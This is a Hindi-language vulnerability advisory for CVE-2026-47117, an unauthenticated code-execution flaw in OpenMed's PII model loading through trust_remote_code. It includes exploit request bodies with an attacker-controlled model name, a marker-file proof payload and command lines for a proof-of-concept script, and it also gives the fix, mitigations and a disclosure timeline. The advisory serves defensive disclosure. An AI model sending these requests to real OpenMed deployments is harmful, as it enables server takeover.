
OpenMed < 1.5.2 में PII गोपनीयता-फ़िल्टर मॉडल लोडिंग और trust_remote_code=True के माध्यम से बिना प्रमाणीकरण के RCE
गंभीरता: क्रिटिकल, CVSS 4.0 9.3, CVSS 3.1 9.8 (CNA के रूप में VulnCheck द्वारा निर्धारित)
वेक्टर (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
वेक्टर (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रभावित: OpenMed < 1.5.2
समाधान संस्करण: 1.5.2
CWE: CWE-94 (कोड के जनरेशन का अनुचित नियंत्रण, कोड इंजेक्शन)
रिपोर्टकर्ता: Sai Teja Erukude
CNA: VulnCheck
प्रकाशित: 2 जून, 2026
OpenMed 1.5.2 से पहले के संस्करणों में PII गोपनीयता-फ़िल्टर मॉडल लोडिंग पथ में बिना प्रमाणीकरण के रिमोट कोड निष्पादन भेद्यता मौजूद है।
REST API एंडपॉइंट POST /pii/extract और POST /pii/deidentify अनुरोध बॉडी से model_name मान स्वीकार करते हैं। कमजोर संस्करणों में, गोपनीयता-फ़िल्टर डिस्पैचर इस हमलावर-नियंत्रित मान पर व्यापक सबस्ट्रिंग मिलान करता था। इसलिए attacker/foo-privacy-filter-bar जैसा मॉडल नाम गोपनीयता-फ़िल्टर बैकएंड में रूट हो सकता था।
गैर-MLX/Torch तैनातियों पर, वह बैकएंड trust_remote_code=True के साथ Transformers के माध्यम से Hugging Face मॉडल आर्टिफैक्ट लोड करता था। यदि हमलावर-नियंत्रित मॉडल रिपॉजिटरी में config.json या tokenizer_config.json में auto_map के माध्यम से संदर्भित कस्टम Transformers कोड मौजूद होता, तो Transformers मॉडल या टोकनाइज़र लोडिंग के दौरान उस Python कोड को आयात और निष्पादित कर देता।
आयातित कोड OpenMed सेवा प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होता था।
OpenMed REST API तक पहुँचने वाला एक बिना प्रमाणीकृत रिमोट हमलावर model_name में दुर्भावनापूर्ण Hugging Face-शैली मॉडल पहचानकर्ता प्रदान करके सर्वर पर मनमाना Python कोड निष्पादित कर सकता है।
तैनाती के आधार पर, यह निम्न की अनुमति दे सकता है:
यह समस्या दोनों PII एंडपॉइंट्स के माध्यम से पहुँच योग्य है क्योंकि दोनों model_name स्वीकार करते हैं और समान PII निष्कर्षण/मॉडल लोडिंग पथ का उपयोग करते हैं:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
कमजोर नियंत्रण प्रवाह में दो ट्रस्ट-सीमा विफलताएँ हैं:
model_name पर भरोसा किया।trust_remote_code=True के साथ Transformers आर्टिफैक्ट लोड करके रिमोट मॉडल रिपॉजिटरी कोड पर भरोसा किया।डिस्पैचर ने privacy-filter युक्त किसी भी मॉडल पहचानकर्ता को गोपनीयता-फ़िल्टर परिवार का हिस्सा माना। इससे हमलावर-नियंत्रित पहचानकर्ता, उदाहरण के लिए attacker/foo-privacy-filter-bar, विश्वसनीय प्रथम-पक्ष गोपनीयता फ़िल्टर मॉडल के लिए निर्धारित कोड पथ तक पहुँच सकते थे।
वहाँ रूट होने के बाद, Transformers auto_map के माध्यम से हमलावर-नियंत्रित कस्टम कोड लोड कर सकता था। यह आयात मॉडल/टोकनाइज़र लोडिंग के दौरान होता है, इससे पहले कि कोई उपयोगी इन्फ़रेंस सफल हो। इसलिए एक प्रूफ पेलोड इतना छोटा हो सकता है:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py एक हानिरहित स्थानीय Hugging Face-शैली मॉडल निर्देशिका बनाता है जिसके नाम में privacy-filter होता है। जनरेट किए गए कस्टम Transformers मॉड्यूल आयात होने पर एक मार्कर फ़ाइल लिखते हैं। स्क्रिप्ट फिर उस निर्देशिका को model_name के रूप में एक परीक्षण OpenMed API इंस्टेंस को अनुरोध भेजती है।
कमजोर OpenMed संस्करणों पर अपेक्षित व्यवहार इस प्रकार है:
model_name स्वीकार करता है।trust_remote_code=True के कारण जनरेट किए गए कस्टम मॉड्यूल को आयात करता है।केवल स्थानीय परीक्षण इंस्टेंस के विरुद्ध चलाएँ:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
यदि OpenMed सेवा ऐसे स्थान पर चलती है जो जनरेट की गई स्थानीय निर्देशिका तक नहीं पहुँच सकता, तो एक समतुल्य परीक्षण मॉडल को नियंत्रित Hugging Face रिपॉजिटरी पर प्रकाशित करें और उस पहचानकर्ता को स्पष्ट रूप से पास करें:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
OpenMed 1.5.2 या उसके बाद के संस्करण में अपग्रेड करें।
OpenMed 1.5.2 रूटिंग को विश्वास से अलग करता है:
privacy-filter युक्त मनमाने रिपॉजिटरी नाम अब विश्वसनीय गोपनीयता-फ़िल्टर पथ से रूट नहीं होते।PrivacyFilterTorchPipeline में trust_remote_code का डिफ़ॉल्ट मान False है।OPENMED_TRUSTED_REMOTE_CODE_MODELS के साथ अनुमत सूची में जोड़ सकते हैं।यदि तत्काल अपग्रेड संभव न हो:
model_name मानों को trust_remote_code=True के साथ Transformers को न पास करें।| दिनांक | घटना |
|---|---|
| 18 मई, 2026 | भेद्यता VulnCheck को प्रस्तुत की गई |
| 20 मई, 2026 | VulnCheck ने समन्वित प्रकटीकरण संपर्क शुरू किया |
| 22 मई, 2026 | CVE-2026-47117 को अनंतिम रूप से आवंटित किया गया |
| 1 जून, 2026 | OpenMed 1.5.2 फिक्स की समीक्षा और पुष्टि की गई |
| 2 जून, 2026 | CVE-2026-47117 प्रकाशित किया गया |
Sai Teja Erukude द्वारा खोजा और रिपोर्ट किया गया, VulnCheck के माध्यम से समन्वित।